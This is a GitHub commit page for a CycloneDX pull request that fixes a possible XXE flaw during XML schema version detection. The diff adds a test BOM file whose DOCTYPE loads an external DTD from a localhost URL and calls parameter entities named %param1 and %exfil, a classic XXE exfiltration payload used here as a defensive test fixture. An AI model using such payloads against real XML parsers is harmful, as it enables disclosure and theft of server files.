-
-
Notifications
You must be signed in to change notification settings - Fork 59
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #434 from CycloneDX/xxe_protection
Fix possible XXE during XML schema version detection
- Loading branch information
Showing
3 changed files
with
103 additions
and
23 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<!DOCTYPE bom [<!ENTITY % sp SYSTEM "https://localhost:1010/test/593ab443b77890d052e55899b16b61a8/raw/3cdd376bba0007145fa2bbacb9abe36cbd5a43ce/file.dtd"> %sp; %param1; %exfil;]> | ||
<bom xmlns="http://cyclonedx.org/schema/bom/1.5" serialNumber="urn:uuid:3e671687-395b-41f5-a30f-a58921a69b79"> | ||
<components> | ||
<component type="application"> | ||
<name>Example Application &xxe;3</name> | ||
<version>2.1.0</version> | ||
<description>This is an example application</description> | ||
<licenses> | ||
<license> | ||
<id>Apache-2.0</id> | ||
</license> | ||
</licenses> | ||
<purl>pkg:npm/example-app@2.1.0</purl> | ||
</component> | ||
<component type="library"> | ||
<name>Example Library</name> | ||
<version>3.2.1</version> | ||
<licenses> | ||
<license> | ||
<id>MIT</id> | ||
</license> | ||
</licenses> | ||
<purl>pkg:npm/example-lib@3.2.1</purl> | ||
</component> | ||
</components> | ||
</bom> |